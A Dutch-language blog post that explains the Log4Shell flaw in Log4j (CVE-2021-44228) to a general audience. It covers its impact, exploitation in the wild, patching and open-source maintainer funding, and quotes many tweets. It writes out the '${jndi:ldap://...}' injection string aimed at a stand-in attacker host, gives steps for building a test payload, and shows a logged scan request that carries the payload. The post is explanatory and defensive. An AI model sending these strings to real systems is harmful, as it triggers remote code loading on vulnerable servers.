Het Log4J / Log4shell securityprobleem uitgelegd

Update 12 januari 2022:
Ondertussen heeft de Belgische defensie al 26 dagen mogen “genieten” van de gevolgen van dit securityprobleem . Daarnaast is het ook wel top om te zien, dat de open source maintainers van deze module nu wel degelijk de nodige sponsoring en funding krijgen voor hun werk.

It's nice to see that a month after the Log4Shell vulnerability Log4j's maintainer has 101 GitHub sponsors instead of 3, including corporate accounts such as Amazon Web Services: https://t.co/dqghxkZB6d https://t.co/OMso0w8b5b

— Koen Vervloesem (@koenvervloesem) January 12, 2022

 

---

Wie de security communities en websites wat volgt is gisteren overspoeld met nieuws over de nieuwe Log4J securitybug, die potentieel heeft om uit te groeien tot het grootste securityprobleem van de afgelopen jaren.

Om het super simplistisch uit te leggen: Door je naam als gebruiker te veranderen in een applicatie, kan je die applicatie volledig overnemen. 🔥🍿

Update 20/12/2021: En je moet mij niet geloven als ik zeg dat deze bug echt wel grote gevolgen heeft momenteel (en de komende weken/maanden)…

 

Wat is Log4j?!?

Log4J is een open source tooltje (geschreven in de populaire programmeertaal Java) om in Java applicaties bepaalde zaken te gaan loggen/bijhouden.

Deze kleine module wordt door een Developer in zijn vrije tijd beheerd, maar dit dus zonder veel sponsoring voor zijn werk hieraan… Een typisch voorbeeld waarbij veel bedrijven open-source modules inzetten, maar geen ondersteuning voor die projecten doen.

Just for reference, the main maintainer of Log4J has seven (7) individuals sponsoring his work, and zero companies: https://t.co/cBujoOQVBa#Log4Shell

— Danack (@MrDanack) December 11, 2021

 

Je gaat deze kleine module niet veel tegenkomen bij eenvoudige websites, maar bij grote enterprise applicaties is dit een zeer veel gebruikte (standaard ingebouwde) methode om gebruikersactiviteit te gaan loggen in logbestanden.

Het Nederlandse Cyber Security Centrum van de Nederlandse overheid heeft deze bug dan ook gisteren ingeschaald op HIGH/HIGH, wat zoveel betekent als: Hoge kans op Hoge schade. 😱

Er is een ernstige kwetsbaarheid verholpen in Log4j. Apache heeft updates uitgebracht om de kwetsbaarheid te verhelpen. Het NCSC verwacht op korte termijn misbruik. Inschaling NCSC kans/schade is ‘high/high’. Lees het beveiligingsadvies: https://t.co/kFUTvAYKiq #CyberSecurity

— NCSC-NL (@ncsc_nl) December 10, 2021

Ook onze Belgische CERT heeft een kritieke waarschuwing uitgestuurd hierover.

 

PS: Voor wie de correcte uitspraak wilt gebruiken.

We'd pronounce it as 'logforjay' as well!

Quick tip for the gents that can't make sense out of the name: It comes from 'logging for Java'.

— INTIGRITI (@intigriti) December 13, 2021

 

Hoe kan een hacker deze bug gebruiken?

Wat er ontdekt is (officiële naam in de Common Vulnerabilities and Exposures database is CVE-2021-44228), is dat je een bepaalde attackstring in veel applicaties als userinput kan meegeven en dit script dan ook wordt uitgevoerd (hij gaat naar een zogenaamde ldap server connecteren en het antwoord zomaar uitvoeren).

Ironie: het wegschrijven van useractiviteit, om te zien of deze niet kwaadaardig is, is nu net het probleem, want daardoor ga je nu net die kwaadaardige activiteit zelf uitvoeren… 🤷‍♂️🙈

 

Bijvoorbeeld:

• Je maakt in een applicatie een nieuwe user aan met de naam “${jndi:ldap://urlvanhacker.com/a}”
• De applicatie gaat die userinput loggen via Log4J en door de bug gaat bij de ingevoerde url (met je eigen aanvalsserver zijn url of ipadres) uitvoeren.
• Dit is een RCE = Remote Code Execution, waardoor je dus jouw code door een server kan laten uitvoeren

Maar je moet in veel gevallen zelfs niet zorgen voor userinput, maar je kan ook de zogenaamde HTTP useragent (de referentie die je browser meegeeft als je een website bezoekt en aangeeft welk type browser je bent) gaan aanpassen en daardoor een webapplicatie hacken. De useragent wordt in veel gevallen namelijk ook door die Log4J applicatie weggeschreven naar de log en verwerkt.  🙈

Ideaal dus om op grote schaal websites te gaan scannen op deze bug.

Wat Cloudflare erover te zeggen had:
For example, a User-Agent string containing the exploit could be passed to a backend system written in Java that does indexing or data science and the exploit could get logged. This is why it is vital that all Java-based software that uses log4j version 2 is patched or has mitigations applied immediately. Even if the Internet-facing software is not written in Java it is possible that strings get passed to other systems that are in Java allowing the exploit to happen.

Ook het Swiss Government Computer Emergency Response Team heeft een super goed schema gemaakt en de nodige uitleg online gezet (en waar/hoe je je kan beschermen).

 

Hoe erg is dit securityprobleem?

Ik zal het eenvoudig zeggen: ERG. Ik ben er zeker van dat er in veel bedrijven een weekendshift bezig is om dit op te lossen.

Op deze Githubpagina heeft iemand voorbeelden getoond van grote bedrijven waar deze bug kan gebruikt worden. Zogenaamde exploits (daadwerkelijke code om van dit probleem gebruik te gaan maken als hacker) zijn dan ook aan het circuleren.

Het testen kan je trouwens eenvoudig zelf.

How to test your apps for #log4shell vulnerability

1. Generate a DNS token https://t.co/vCzVG0O03i
2. Wrap that token in
Prefix: ${jndi:ldap://
Suffix: /a}
3. Use that value in search forms, profile data, settings etc. of your apps
4. Get notified when you triggered a reaction pic.twitter.com/1w6jmF9qgy

— Florian Roth ⚡️ (@cyb3rops) December 10, 2021

 

Die dnslog.CN website die je in alle voorbeelden ziet voorbijkomen is een eenvoudige DNS logger, die je kan inzetten om zelf snel te testen of een applicatie de code gaat uitvoeren.

Hierbij een voorbeeld waarbij de tester de naam van zijn tesla aanpast aan de attackurl en deze ook getoond wordt en intern verwerkt door de Log4J module en dus zijn extern attackscript gaat uitvoeren en een pingback krijgt op die dnslog.cn website.

De securitybug werd trouwens snel publiek, daar Minecraft users doorhadden dat de populaire game dit probleem ook had. Een voorbeeld in 2 screenshots: deze gebruiker veranderde zijn naam in de Minecraft chat in het aanvalscommando en toont dus dat het commando uitgevoerd wordt en hij een connectie heeft met de Minecraft server.

Als 2de stap was het dan eenvoudig om bijvoorbeeld op de Minecraft server een calculator op te roepen en uit te voeren. Je zal wel doorhebben dat deze zogenaamde RCE (Remote Code Execution) ook voor andere zaken kan gebruikt worden, dan het opstarten van een calculator. 🔥

En als we nu dit ook nog eens weten… 🙈

Earliest evidence we’ve found so far of #Log4J exploit is 2021-12-01 04:36:50 UTC. That suggests it was in the wild at least 9 days before publicly disclosed. However, don’t see evidence of mass exploitation until after public disclosure.

— Matthew Prince 🌥 (@eastdakota) December 11, 2021

Enja ook in de Apache logs van deze WordPress blog kom ik nu reeds scanning tegen, van iemand (met een Indisch IP) die met de Burp Suite aan het testen en scannen is. Zo eenvoudig is het dus om snel te weten of je ergens een server kan vinden, die vatbaar is voor dit probleem.

223.178.213.192 – – [13/Dec/2021:11:23:14 +0100] “GET /?id=%2524%257Bjndi%253Aldap%253A%252F%252F1561.4ejrb8l7s5j2ik7h548o6et47vdl1a.burpcollaborator.net%252Fa%257D HTTP/1.1” 200 20987 “${jndi:ldap://1561.4ejrb8l7s5j2ik7h548o6et47vdl1a.burpcollaborator.net/a}” “${jndi:ldap://1561.4ejrb8l7s5j2ik7h548o6et47vdl1a.burpcollaborator.net/a}”

 

 

 

En NU?

Enja er wordt nu natuurlijk massale scannings gedaan naar bedrijven die geïmpacteerd zijn. In deze eerste fase worden er vooral cryptominers geïnstalleerd (ze gaan dus servers rekenkracht laten inzetten om cryptocoins te minen). Gevaarlijk is dat er nu ook servers worden overgenomen en als bot in slaapstand zullen gaan. Je merkt er als bedrijf dus niets van, maar over 1-2 maanden kan je plots ransomware hebben bvb. (zie dit artikel over de ransomware aanval bij Picanol, waar ze pas 30 dagen na binnendringen de ransomware hebben geactiveerd, om lang genoeg te wachten zodat alle propere backups ook vervuild zijn met hun code).

 

De serveradmin van Tweakers gaf ook al mee hoeveel keer hij het nu in zijn logs ziet voorbijkomen (zij maken geen gebruik van dit framework, maar ze ondervinden ook wel de scanningspogingen).

Ik dacht ook 'huh', daarna mijn logs eens bekeken. 'jndi:ldap' komt al 55.000 keer in voor in verschillende logs vanaf ~3 uur vannacht.

— Kees Hoekzema (@keeshoekzema) December 10, 2021

 

I'm curious to see who has the earliest attempted log4j (CVE-2021-44228) exploitation

Here's the first web server I checked (10/Dec/2021:08:30:33 EST) #log4shell pic.twitter.com/6NF6ErnhJH

— Conrad (@eric_conrad) December 11, 2021

De ransomware groepen diende nog even zelf hun ransomwaretools in de Java programmeertaal om te zetten, maar ondertussen is het dus deze fase die gestart is…

Way more. We’re seeing >1,000 attempted exploits per second. And payloads getting scarier. Ransomware payloads started in force in last 24 hours.

— Matthew Prince 🌥 (@eastdakota) December 14, 2021

In veel SOC’s (Security Operation Centers) zijn ze dit weekend dus dit spelletje “aan het spelen”… 🙈

The worst game #log4j #Log4Shell pic.twitter.com/r4hMYgK5UD

— April C Wright “Dare Mighty Things” she/her (@aprilwright) December 10, 2021

Er zijn natuurlijk direct patches voorzien om deze module te patchen, maar veel bedrijven gaan dit niet even snel snel kunnen doen. En denk ook maar eens aan eventuele IoT devices, die overal gebruikt worden en die nu van een nieuwe firmware moeten voorzien worden.

Het Nederlands NCSC (Nationaal Cyber Security Centrum) heeft een Github repository gestart, waarin ze alle software samenbrengen en of er reeds een patch voorhanden is. 👏👌

Ook Cloudflare (die een groot deel van het internet beschermt op hoge niveau) heeft zijn kracht ingezet om een gratis WAF rule te activeren voor al hun klanten, waardoor dit soort aanvallen op een hoger niveau worden weggefilterd door hen.

We've now rolled this out to 100% of customers. Basic protection on for free customers. Paid customers have more options. But, even if you're a customer, please urgently patch #LOG4J as quickly as possible! This is a serious vulnerability that's being actively exploited.

— Matthew Prince 🌥 (@eastdakota) December 11, 2021

Oeps. Die helikopter op Mars dan ook maar gaan patchen dus?

 

Did you know that Ingenuity, the Mars 2020 Helicopter mission, is powered by Apache Log4j? https://t.co/gV0uyE1ylk #Apache #OpenSource #innovation #community #logging #services pic.twitter.com/aFX9JdquP1

— Apache – The ASF (@TheASF) June 4, 2021

Enja deze gekende xkcd meme is nu echt wel heel relevant dit weekend… 🙈🤷‍♂️

Log4j maintainers have been working sleeplessly on mitigation measures; fixes, docs, CVE, replies to inquiries, etc. Yet nothing is stopping people to bash us, for work we aren't paid for, for a feature we all dislike yet needed to keep due to backward compatibility concerns. https://t.co/W2u6AcBUM8

— Volkan Yazıcı (@yazicivo) December 10, 2021

Mooie infographic nu na dit eerste weekend van Intigriti (het Belgische bugbountyplatform met duizenden aangesloten white hat hackers).

Met ook mooie FAQ over hoe zij omgaan met dergelijke zero-day bugs (nieuw ontdekte securityproblemen waar nog geen patch direct voorhanden is).

Should organizations pay bug bounties for zero-days?
Most Intigriti customers have a 14-day cooldown period for zero-day vulnerabilities. This means that submissions sent through the platform during this timeframe do not automatically qualify for a bounty. It allows your team to assess the situation internally before including the issue in your bug bounty program. Researchers are still able to submit the vulnerability to your program and may receive a bonus at your discretion

Update 23/12/2021:
Het waren trouwens Chinese developers van Alibaba (de Chinese ecommerce gigant), die het probleem vonden in november en doorgaven aan de developers van de module. In China is er nu echter een wetgeving, die verplicht om gevonden zero-days (securityproblemen zonder patch) eerst aan de overheid te melden (vanuit strategisch standpunt). Daardoor zit het er nu even tegen daar tussen China en Alibaba…